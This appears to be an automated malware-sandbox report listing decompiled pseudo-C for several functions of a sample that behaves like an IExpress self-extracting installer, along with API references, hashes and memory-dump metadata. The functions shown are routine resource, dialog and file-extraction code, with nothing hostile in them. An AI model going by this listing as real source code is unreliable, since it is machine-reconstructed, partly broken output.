			E00326517(void* __ecx, CHAR* __edx, struct HWND__* _a4, _Unknown_base(*)()* _a8, intOrPtr _a12, char _a16) {
				struct HRSRC__* _t6;
				void* _t21;
				struct HINSTANCE__* _t23;
				int _t24;

				_t23 =  *0x329a3c; // 0x320000
				_t6 = FindResourceA(_t23, __edx, 5);
				if(_t6 == 0) {
					L6:
					E003244B9(0, 0x4fb, 0, 0, 0x10, 0);
					_t5 =  &_a16; // 0x322ee8
					_t24 =  *_t5;
				} else {
					_t21 = LoadResource(_t23, _t6);
					if(_t21 == 0) {
						goto L6;
					} else {
						if(_a12 != 0) {
							_push(_a12);
						} else {
							_push(0);
						}
						_t24 = DialogBoxIndirectParamA(_t23, _t21, _a4, _a8);
						FreeResource(_t21);
						if(_t24 == 0xffffffff) {
							goto L6;
						}
					}
				}
				return _t24;
			}

0x0032651f
0x0032652a
0x00326534
0x0032656b
0x00326577
0x0032657c
0x0032657c
0x00326536
0x0032653e
0x00326542
0x00000000
0x00326544
0x00326547
0x0032654c
0x00326549
0x00326549
0x00326549
0x0032655e
0x00326560
0x00326569
0x00000000
0x00000000
0x00326569
0x00326542
0x00326587

APIs

FindResourceA.KERNEL32(00320000,000007D6,00000005), ref: 0032652A
LoadResource.KERNEL32(00320000,00000000,?,?,00322EE8,00000000,003219E0,00000547,0000083E,?,?,?,?,?,?,?), ref: 00326538
DialogBoxIndirectParamA.USER32(00320000,00000000,00000547,003219E0,00000000), ref: 00326557
FreeResource.KERNEL32(00000000,?,?,00322EE8,00000000,003219E0,00000547,0000083E,?,?,?,?,?,?,?,00000002), ref: 00326560

Strings

.2, xrefs: 0032657C

Memory Dump Source

Source File: 00000001.00000002.346665107.0000000000321000.00000020.00000001.01000000.00000004.sdmp, Offset: 00320000, based on PE: true

Associated: 00000001.00000002.346646404.0000000000320000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346683392.0000000000328000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_320000_sEm51bM.jbxd

Similarity

API ID: Resource$DialogFindFreeIndirectLoadParam
String ID: .2
API String ID: 1214682469-669109296
Opcode ID: 25fe15f9ffca4af56298fa849be823b2e3ed5ff1a0e14a3bc4ce671ea1c95c05
Instruction ID: 0e3411b6b0a325104d7519cc2af0fc62c922bffd0faabe9710cc8276ff9b007f
Opcode Fuzzy Hash: 25fe15f9ffca4af56298fa849be823b2e3ed5ff1a0e14a3bc4ce671ea1c95c05
Instruction Fuzzy Hash: F5012672100A25BBCB225F69AC09DBB7A6CEF8A360F110129FE0093150D7719C1186A1

Uniqueness

Uniqueness Score: -1.00%

Function 00326495 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 41
libraryCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E00326495(void* __ebx, void* __ecx, void* __esi, void* __eflags) {
				signed int _v8;
				char _v268;
				void* __edi;
				signed int _t9;
				signed char _t14;
				struct HINSTANCE__* _t15;
				void* _t18;
				CHAR* _t26;
				void* _t27;
				signed int _t28;

				_t27 = __esi;
				_t18 = __ebx;
				_t9 =  *0x328004; // 0x2c4b51c8
				_v8 = _t9 ^ _t28;
				_push(__ecx);
				E00321781( &_v268, 0x104, __ecx, "C:\Users\hardz\AppData\Local\Temp\IXP001.TMP\");
				_t26 = "advpack.dll";
				E0032658A( &_v268, 0x104, _t26);
				_t14 = GetFileAttributesA( &_v268);
				if(_t14 == 0xffffffff || (_t14 & 0x00000010) != 0) {
					_t15 = LoadLibraryA(_t26);
				} else {
					_t15 = LoadLibraryExA( &_v268, 0, 8);
				}
				return E00326CE0(_t15, _t18, _v8 ^ _t28, 0x104, _t26, _t27);
			}

0x00326495
0x00326495
0x003264a0
0x003264a7
0x003264ab
0x003264bd
0x003264c2
0x003264d3
0x003264df
0x003264e8
0x00326502
0x003264ee
0x003264f9
0x003264f9
0x00326516

APIs

GetFileAttributesA.KERNEL32(?,advpack.dll,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,?,00000000), ref: 003264DF
LoadLibraryExA.KERNEL32(?,00000000,00000008,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,?,00000000), ref: 003264F9
LoadLibraryA.KERNEL32(advpack.dll,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,?,00000000), ref: 00326502

Strings

advpack.dll, xrefs: 003264C2, 003264CD, 00326501
C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 003264AC

Memory Dump Source

Source File: 00000001.00000002.346665107.0000000000321000.00000020.00000001.01000000.00000004.sdmp, Offset: 00320000, based on PE: true

Associated: 00000001.00000002.346646404.0000000000320000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346683392.0000000000328000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_320000_sEm51bM.jbxd

Similarity

API ID: LibraryLoad$AttributesFile
String ID: C:\Users\user\AppData\Local\Temp\IXP001.TMP\$advpack.dll
API String ID: 438848745-3761280616
Opcode ID: ebbb49ba366c9886e9c0368fa11e9142bcd18b9f3f6022974e16302b9692f884
Instruction ID: 243c1bb9b6107dbcb644de1ef56ab676d9b3092eaf3b7bcc652b7895aea438e0
Opcode Fuzzy Hash: ebbb49ba366c9886e9c0368fa11e9142bcd18b9f3f6022974e16302b9692f884
Instruction Fuzzy Hash: D101F930500118ABD721DB64FC46FEE737CDF65311F500199F585961C0DF70AE86CA51

Uniqueness

Uniqueness Score: -1.00%

Function 00324169 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 55
memoryCOMMON

Download Yara Rule

C-Code - Quality: 32%

			E00324169(void* __eflags) {
				int _t18;
				void* _t21;

				_t20 = E0032468F("FINISHMSG", 0, 0);
				_t21 = LocalAlloc(0x40, 4 + _t3 * 4);
				if(_t21 != 0) {
					if(E0032468F("FINISHMSG", _t21, _t20) != 0) {
						if(lstrcmpA(_t21, "<None>") == 0) {
							L7:
							return LocalFree(_t21);
						}
						_push(0);
						_push(0x40);
						_push(0);
						_push(_t21);
						_t18 = 0x3e9;
						L6:
						E003244B9(0, _t18);
						goto L7;
					}
					_push(0);
					_push(0x10);
					_push(0);
					_push(0);
					_t18 = 0x4b1;
					goto L6;
				}
				return E003244B9(0, 0x4b5, 0, 0, 0x10, 0);
			}

0x0032417d
0x0032418f
0x00324193
0x003241b7
0x003241d3
0x003241e6
0x00000000
0x003241e7
0x003241d5
0x003241d6
0x003241d8
0x003241d9
0x003241da
0x003241df
0x003241e1
0x00000000
0x003241e1
0x003241b9
0x003241ba
0x003241bc
0x003241bd
0x003241be
0x00000000
0x003241be
0x00000000

APIs

Part of subcall function 0032468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003246A0
Part of subcall function 0032468F: SizeofResource.KERNEL32(00000000,00000000,?,00322D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003246A9
Part of subcall function 0032468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003246C3
Part of subcall function 0032468F: LoadResource.KERNEL32(00000000,00000000,?,00322D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003246CC
Part of subcall function 0032468F: LockResource.KERNEL32(00000000,?,00322D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003246D3
Part of subcall function 0032468F: memcpy_s.MSVCRT ref: 003246E5
Part of subcall function 0032468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 003246EF

LocalAlloc.KERNEL32(00000040,?,00000000,00000000,00000105,00000000,003230B4), ref: 00324189
LocalFree.KERNEL32(00000000,?,00000000,00000000,00000105,00000000,003230B4), ref: 003241E7

Part of subcall function 003244B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00324518
Part of subcall function 003244B9: MessageBoxA.USER32(?,?,cent,00010010), ref: 00324554

Strings

<None>, xrefs: 003241C5
FINISHMSG, xrefs: 00324173, 003241AB

Memory Dump Source

Source File: 00000001.00000002.346665107.0000000000321000.00000020.00000001.01000000.00000004.sdmp, Offset: 00320000, based on PE: true

Associated: 00000001.00000002.346646404.0000000000320000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346683392.0000000000328000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_320000_sEm51bM.jbxd

Similarity

API ID: Resource$FindFreeLoadLocal$AllocLockMessageSizeofStringmemcpy_s
String ID: <None>$FINISHMSG
API String ID: 3507850446-3091758298
Opcode ID: a705c535846d0a3d95b2d30c8f1bfd461f2464f76476371322fcc5f7066c529b
Instruction ID: c9f7307b7114845430b630e09c46d3829508237e581851f8850018f1da209558
Opcode Fuzzy Hash: a705c535846d0a3d95b2d30c8f1bfd461f2464f76476371322fcc5f7066c529b
Instruction Fuzzy Hash: 5501F4B57006347FF32726667C86F7B218EDBD4795F014039B706E5180DA68EC1141B5

Uniqueness

Uniqueness Score: -1.00%

Function 00327155 Relevance: 7.6, APIs: 5, Instructions: 51
timethreadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00327155() {
				void* _v8;
				struct _FILETIME _v16;
				signed int _v20;
				union _LARGE_INTEGER _v24;
				signed int _t23;
				signed int _t36;
				signed int _t37;
				signed int _t39;

				_v16.dwLowDateTime = _v16.dwLowDateTime & 0x00000000;
				_v16.dwHighDateTime = _v16.dwHighDateTime & 0x00000000;
				_t23 =  *0x328004; // 0x2c4b51c8
				if(_t23 == 0xbb40e64e || (0xffff0000 & _t23) == 0) {
					GetSystemTimeAsFileTime( &_v16);
					_v8 = _v16.dwHighDateTime ^ _v16.dwLowDateTime;
					_v8 = _v8 ^ GetCurrentProcessId();
					_v8 = _v8 ^ GetCurrentThreadId();
					_v8 = GetTickCount() ^ _v8 ^  &_v8;
					QueryPerformanceCounter( &_v24);
					_t36 = _v20 ^ _v24.LowPart ^ _v8;
					_t39 = _t36;
					if(_t36 == 0xbb40e64e || ( *0x328004 & 0xffff0000) == 0) {
						_t36 = 0xbb40e64f;
						_t39 = 0xbb40e64f;
					}
					 *0x328004 = _t39;
				}
				_t37 =  !_t36;
				 *0x328008 = _t37;
				return _t37;
			}

0x0032715d
0x00327161
0x00327165
0x00327178
0x00327182
0x0032718e
0x00327197
0x003271a0
0x003271b1
0x003271b8
0x003271c4
0x003271c7
0x003271cb
0x003271d5
0x003271da
0x003271da
0x003271dc
0x003271dc
0x003271e2
0x003271e5
0x003271ee

APIs

GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 00327182
GetCurrentProcessId.KERNEL32 ref: 00327191
GetCurrentThreadId.KERNEL32 ref: 0032719A
GetTickCount.KERNEL32 ref: 003271A3
QueryPerformanceCounter.KERNEL32(?), ref: 003271B8

Memory Dump Source

Source File: 00000001.00000002.346665107.0000000000321000.00000020.00000001.01000000.00000004.sdmp, Offset: 00320000, based on PE: true

Associated: 00000001.00000002.346646404.0000000000320000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346683392.0000000000328000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_320000_sEm51bM.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: 424e94de489e1e75c748a0c59e235dcd3f62552aaa58229110f055aebbeb9bd8
Instruction ID: 8cdb5960195fcce4ef18d48a3eb8b42db40bf583138551cd2c4c4ba9cab03c53
Opcode Fuzzy Hash: 424e94de489e1e75c748a0c59e235dcd3f62552aaa58229110f055aebbeb9bd8
Instruction Fuzzy Hash: 8A112171D05618EFCB21DFB8EA4869EB7F8FF48315F518459D405D7210DB30AA158B41

Uniqueness

Uniqueness Score: -1.00%

Function 003219E0 Relevance: 7.6, APIs: 5, Instructions: 51
windowCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E003219E0(void* __ebx, void* __edi, struct HWND__* _a4, intOrPtr _a8, int _a12, int _a16) {
				signed int _v8;
				char _v520;
				void* __esi;
				signed int _t11;
				void* _t14;
				void* _t23;
				void* _t27;
				void* _t33;
				struct HWND__* _t34;
				signed int _t35;

				_t33 = __edi;
				_t27 = __ebx;
				_t11 =  *0x328004; // 0x2c4b51c8
				_v8 = _t11 ^ _t35;
				_t34 = _a4;
				_t14 = _a8 - 0x110;
				if(_t14 == 0) {
					_t32 = GetDesktopWindow();
					E003243D0(_t34, _t15);
					_v520 = 0;
					LoadStringA( *0x329a3c, _a16,  &_v520, 0x200);
					SetDlgItemTextA(_t34, 0x83f,  &_v520);
					MessageBeep(0xffffffff);
					goto L6;
				} else {
					if(_t14 != 1) {
						L4:
						_t23 = 0;
					} else {
						_t32 = _a12;
						if(_t32 - 0x83d > 1) {
							goto L4;
						} else {
							EndDialog(_t34, _t32);
							L6:
							_t23 = 1;
						}
					}
				}
				return E00326CE0(_t23, _t27, _v8 ^ _t35, _t32, _t33, _t34);
			}

0x003219e0
0x003219e0
0x003219eb
0x003219f2
0x003219f9
0x003219fc
0x00321a01
0x00321a2a
0x00321a2e
0x00321a3e
0x00321a4f
0x00321a62
0x00321a6a
0x00000000
0x00321a03
0x00321a06
0x00321a20
0x00321a20
0x00321a08
0x00321a08
0x00321a14
0x00000000
0x00321a16
0x00321a18
0x00321a70
0x00321a72
0x00321a72
0x00321a14
0x00321a06
0x00321a81

APIs

EndDialog.USER32(?,?), ref: 00321A18
GetDesktopWindow.USER32 ref: 00321A24
LoadStringA.USER32(?,?,00000200), ref: 00321A4F
SetDlgItemTextA.USER32(?,0000083F,00000000), ref: 00321A62
MessageBeep.USER32(000000FF), ref: 00321A6A

Memory Dump Source

Source File: 00000001.00000002.346665107.0000000000321000.00000020.00000001.01000000.00000004.sdmp, Offset: 00320000, based on PE: true

Associated: 00000001.00000002.346646404.0000000000320000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346683392.0000000000328000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_320000_sEm51bM.jbxd

Similarity

API ID: BeepDesktopDialogItemLoadMessageStringTextWindow
String ID:
API String ID: 1273765764-0
Opcode ID: 51a069816852b29fcd52c5e872cfbf52d9f87d078958e54b1f377d885221b0da
Instruction ID: 8a643f3f42c82484ef2169c328ee180ee7d60e82c737fed2eae9598b1de8407e
Opcode Fuzzy Hash: 51a069816852b29fcd52c5e872cfbf52d9f87d078958e54b1f377d885221b0da
Instruction Fuzzy Hash: BB11C431501529AFDB22EF64EE09AAE77BCEF59310F108159F912D7190DA30AE22CB95

Uniqueness

Uniqueness Score: -1.00%

Function 003263C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 69
fileCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E003263C0(void* __ecx, void* __eflags, long _a4, intOrPtr _a12, void* _a16) {
				signed int _v8;
				char _v268;
				long _v272;
				void* _v276;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t15;
				long _t28;
				struct _OVERLAPPED* _t37;
				void* _t39;
				signed int _t40;

				_t15 =  *0x328004; // 0x2c4b51c8
				_v8 = _t15 ^ _t40;
				_v272 = _v272 & 0x00000000;
				_push(__ecx);
				_v276 = _a16;
				_t37 = 1;
				E00321781( &_v268, 0x104, __ecx, "C:\Users\hardz\AppData\Local\Temp\IXP001.TMP\");
				E0032658A( &_v268, 0x104, _a12);
				_t28 = 0;
				_t39 = CreateFileA( &_v268, 0x40000000, 0, 0, 2, 0x80, 0);
				if(_t39 != 0xffffffff) {
					_t28 = _a4;
					if(WriteFile(_t39, _v276, _t28,  &_v272, 0) == 0 || _t28 != _v272) {
						 *0x329124 = 0x80070052;
						_t37 = 0;
					}
					CloseHandle(_t39);
				} else {
					 *0x329124 = 0x80070052;
					_t37 = 0;
				}
				return E00326CE0(_t37, _t28, _v8 ^ _t40, 0x104, _t37, _t39);
			}

0x003263cb
0x003263d2
0x003263d8
0x003263ea
0x003263f3
0x00326401
0x00326402
0x00326410
0x00326415
0x00326433
0x00326438
0x00326449
0x00326463
0x0032646d
0x00326477
0x00326477
0x0032647a
0x0032643a
0x0032643a
0x00326444
0x00326444
0x00326492

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\), ref: 0032642D
WriteFile.KERNEL32(00000000,?,?,00000000,00000000,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\), ref: 0032645B
CloseHandle.KERNEL32(00000000,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\), ref: 0032647A

Strings

C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 003263EB

Memory Dump Source

Source File: 00000001.00000002.346665107.0000000000321000.00000020.00000001.01000000.00000004.sdmp, Offset: 00320000, based on PE: true

Associated: 00000001.00000002.346646404.0000000000320000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346683392.0000000000328000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_320000_sEm51bM.jbxd

Similarity

API ID: File$CloseCreateHandleWrite
String ID: C:\Users\user\AppData\Local\Temp\IXP001.TMP\
API String ID: 1065093856-1116576409
Opcode ID: dcdff1b5eb49886ac012f6bf6796210255fa60175bd7c4b76076011b8df58efd
Instruction ID: 2417bd59cb28fe144ad490fba49d2925f88e684b368c3e69e30b10b42086559c
Opcode Fuzzy Hash: dcdff1b5eb49886ac012f6bf6796210255fa60175bd7c4b76076011b8df58efd
Instruction Fuzzy Hash: 4921A571A0022CAFD722DF26EC86FEB776CEF49314F104169F585A7180DAB06D958FA4

Uniqueness

Uniqueness Score: -1.00%

Function 003247E0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 64
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E003247E0(intOrPtr* __ecx) {
				intOrPtr _t6;
				intOrPtr _t9;
				void* _t11;
				void* _t19;
				intOrPtr* _t22;
				void _t24;
				struct HWND__* _t25;
				struct HWND__* _t26;
				void* _t27;
				intOrPtr* _t28;
				intOrPtr* _t33;
				void* _t34;

				_t33 = __ecx;
				_t34 = LocalAlloc(0x40, 8);
				if(_t34 != 0) {
					_t22 = _t33;
					_t27 = _t22 + 1;
					do {
						_t6 =  *_t22;
						_t22 = _t22 + 1;
					} while (_t6 != 0);
					_t24 = LocalAlloc(0x40, _t22 - _t27 + 1);
					 *_t34 = _t24;
					if(_t24 != 0) {
						_t28 = _t33;
						_t19 = _t28 + 1;
						do {
							_t9 =  *_t28;
							_t28 = _t28 + 1;
						} while (_t9 != 0);
						E00321680(_t24, _t28 - _t19 + 1, _t33);
						_t11 =  *0x3291e0; // 0x2b58e90
						 *(_t34 + 4) = _t11;
						 *0x3291e0 = _t34;
						return 1;
					}
					_t25 =  *0x328584; // 0x0
					E003244B9(_t25, 0x4b5, _t8, _t8, 0x10, _t8);
					LocalFree(_t34);
					L2:
					return 0;
				}
				_t26 =  *0x328584; // 0x0
				E003244B9(_t26, 0x4b5, _t5, _t5, 0x10, _t5);
				goto L2;
			}

0x003247e8
0x003247f0
0x003247f4
0x0032480f
0x00324811
0x00324814
0x00324814
0x00324816
0x00324817
0x00324829
0x0032482b
0x0032482f
0x0032484f
0x00324852
0x00324855
0x00324855
0x00324857
0x00324858
0x00324860
0x00324865
0x0032486a
0x0032486f
0x00000000
0x00324876
0x00324831
0x00324841
0x00324847
0x0032480b
0x00000000
0x0032480b
0x003247f6
0x00324806
0x00000000

APIs

LocalAlloc.KERNEL32(00000040,00000008,?,00000000,00324E6F), ref: 003247EA
LocalAlloc.KERNEL32(00000040,?), ref: 00324823
LocalFree.KERNEL32(00000000,00000000,00000000,00000010,00000000), ref: 00324847

Part of subcall function 003244B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00324518
Part of subcall function 003244B9: MessageBoxA.USER32(?,?,cent,00010010), ref: 00324554

Strings

C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 00324851

Memory Dump Source

Source File: 00000001.00000002.346665107.0000000000321000.00000020.00000001.01000000.00000004.sdmp, Offset: 00320000, based on PE: true

Associated: 00000001.00000002.346646404.0000000000320000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346683392.0000000000328000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_320000_sEm51bM.jbxd

Similarity

API ID: Local$Alloc$FreeLoadMessageString
String ID: C:\Users\user\AppData\Local\Temp\IXP001.TMP\
API String ID: 359063898-1116576409
Opcode ID: 8331427196459cc6c4518c555f3e04f5829b096d59405ad0710bb0220d4ea0f9
Instruction ID: 567e0602b42eb5b2bbf7439deff5cea45c9b79e22dcf5774fb2c9d83b6f41223
Opcode Fuzzy Hash: 8331427196459cc6c4518c555f3e04f5829b096d59405ad0710bb0220d4ea0f9
Instruction Fuzzy Hash: 2D112579604A516FD7279F24BC18F763B5EEB85310F15851DFE828B341DA369C078660

Uniqueness

Uniqueness Score: -1.00%

Function 00323680 Relevance: 6.1, APIs: 4, Instructions: 51
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00323680(void* __ecx) {
				void* _v8;
				struct tagMSG _v36;
				int _t8;
				struct HWND__* _t16;

				_v8 = __ecx;
				_t16 = 0;
				while(1) {
					_t8 = MsgWaitForMultipleObjects(1,  &_v8, 0, 0xffffffff, 0x4ff);
					if(_t8 == 0) {
						break;
					}
					if(PeekMessageA( &_v36, 0, 0, 0, 1) == 0) {
						continue;
					} else {
						do {
							if(_v36.message != 0x12) {
								DispatchMessageA( &_v36);
							} else {
								_t16 = 1;
							}
							_t8 = PeekMessageA( &_v36, 0, 0, 0, 1);
						} while (_t8 != 0);
						if(_t16 == 0) {
							continue;
						}
					}
					break;
				}
				return _t8;
			}

0x0032368c
0x0032368f
0x00323691
0x0032369f
0x003236a7
0x00000000
0x00000000
0x003236ba
0x00000000
0x003236bc
0x003236bc
0x003236c0
0x003236cb
0x003236c2
0x003236c4
0x003236c4
0x003236da
0x003236e0
0x003236e6
0x00000000
0x00000000
0x003236e6
0x00000000
0x003236ba
0x003236ed

APIs

MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000004FF), ref: 0032369F
PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 003236B2
DispatchMessageA.USER32(?), ref: 003236CB
PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 003236DA

Memory Dump Source

Source File: 00000001.00000002.346665107.0000000000321000.00000020.00000001.01000000.00000004.sdmp, Offset: 00320000, based on PE: true

Associated: 00000001.00000002.346646404.0000000000320000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346683392.0000000000328000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_320000_sEm51bM.jbxd

Similarity

API ID: Message$Peek$DispatchMultipleObjectsWait
String ID:
API String ID: 2776232527-0
Opcode ID: 2d20f55a2f72683e41e9e6269f38360a45e9bc1d1c6ecf37556ba8f4ea3b423f
Instruction ID: 915400ac996e6e766e9e836192ab2cb3a4a20bc46a8a08d5f131d9d5336ea47b
Opcode Fuzzy Hash: 2d20f55a2f72683e41e9e6269f38360a45e9bc1d1c6ecf37556ba8f4ea3b423f
Instruction Fuzzy Hash: 8B01A77290022477DB314BA66C8CEEB767CEBC5B20F01011DF905E2180D564D651C6A1

Uniqueness

Uniqueness Score: -1.00%

Function 003265E8 Relevance: 6.0, APIs: 4, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E003265E8(char* __ecx) {
				char _t3;
				char _t10;
				char* _t12;
				char* _t14;
				char* _t15;
				CHAR* _t16;

				_t12 = __ecx;
				_t15 = __ecx;
				_t14 =  &(__ecx[1]);
				_t10 = 0;
				do {
					_t3 =  *_t12;
					_t12 =  &(_t12[1]);
				} while (_t3 != 0);
				_push(CharPrevA(__ecx, _t12 - _t14 + __ecx));
				while(1) {
					_t16 = CharPrevA(_t15, ??);
					if(_t16 <= _t15) {
						break;
					}
					if( *_t16 == 0x5c) {
						L7:
						if(_t16 == _t15 ||  *(CharPrevA(_t15, _t16)) == 0x3a) {
							_t16 = CharNextA(_t16);
						}
						 *_t16 = _t10;
						_t10 = 1;
					} else {
						_push(_t16);
						continue;
					}
					L11:
					return _t10;
				}
				if( *_t16 == 0x5c) {
					goto L7;
				}
				goto L11;
			}

0x003265e8
0x003265ed
0x003265ef
0x003265f2
0x003265f4
0x003265f4
0x003265f6
0x003265f7
0x00326608
0x00326611
0x00326618
0x0032661c
0x00000000
0x00000000
0x0032660e
0x00326623
0x00326625
0x0032663b
0x0032663b
0x0032663d
0x00326641
0x00326610
0x00326610
0x00000000
0x00326610
0x00326644
0x00326647
0x00326647
0x00326621
0x00000000
0x00000000
0x00000000

APIs

CharPrevA.USER32(?,00000000,00000000,00000001,00000000,00322B33), ref: 00326602
CharPrevA.USER32(?,00000000), ref: 00326612
CharPrevA.USER32(?,00000000), ref: 00326629
CharNextA.USER32(00000000), ref: 00326635

Memory Dump Source

Source File: 00000001.00000002.346665107.0000000000321000.00000020.00000001.01000000.00000004.sdmp, Offset: 00320000, based on PE: true

Associated: 00000001.00000002.346646404.0000000000320000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346683392.0000000000328000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_320000_sEm51bM.jbxd

Similarity

API ID: Char$Prev$Next
String ID:
API String ID: 3260447230-0
Opcode ID: f7eda84e238859c762e2f2be884f95192077d8f07fdbeca6fc557ee52fe4e5c2
Instruction ID: f2661c044bed96abb5a48d6b938d08b1aa975016ea5d96d894f6b9b482f69859
Opcode Fuzzy Hash: f7eda84e238859c762e2f2be884f95192077d8f07fdbeca6fc557ee52fe4e5c2
Instruction Fuzzy Hash: F1F028320049606FE7331B28AC898BBBF9CDF8B364F2A01AFE4D282001D6150D0786A1

Uniqueness

Uniqueness Score: -1.00%

Function 003269B0 Relevance: 6.0, APIs: 4, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E003269B0() {
				intOrPtr* _t4;
				intOrPtr* _t5;
				void* _t6;
				intOrPtr _t11;
				intOrPtr _t12;

				 *0x3281f8 = E00326C70();
				__set_app_type(E00326FBE(2));
				 *0x3288a4 =  *0x3288a4 | 0xffffffff;
				 *0x3288a8 =  *0x3288a8 | 0xffffffff;
				_t4 = __p__fmode();
				_t11 =  *0x328528; // 0x0
				 *_t4 = _t11;
				_t5 = __p__commode();
				_t12 =  *0x32851c; // 0x0
				 *_t5 = _t12;
				_t6 = E00327000();
				if( *0x328000 == 0) {
					__setusermatherr(E00327000);
				}
				E003271EF(_t6);
				return 0;
			}

0x003269b7
0x003269c2
0x003269c8
0x003269cf
0x003269d8
0x003269de
0x003269e4
0x003269e6
0x003269ec
0x003269f2
0x003269f4
0x00326a00
0x00326a07
0x00326a0d
0x00326a0e
0x00326a15

APIs

Part of subcall function 00326FBE: GetModuleHandleW.KERNEL32(00000000), ref: 00326FC5

__set_app_type.MSVCRT ref: 003269C2
__p__fmode.MSVCRT ref: 003269D8
__p__commode.MSVCRT ref: 003269E6
__setusermatherr.MSVCRT ref: 00326A07

Memory Dump Source

Source File: 00000001.00000002.346665107.0000000000321000.00000020.00000001.01000000.00000004.sdmp, Offset: 00320000, based on PE: true

Associated: 00000001.00000002.346646404.0000000000320000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346683392.0000000000328000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032A000.00000002.00000001.01000000.00000004.sdmpDownload File
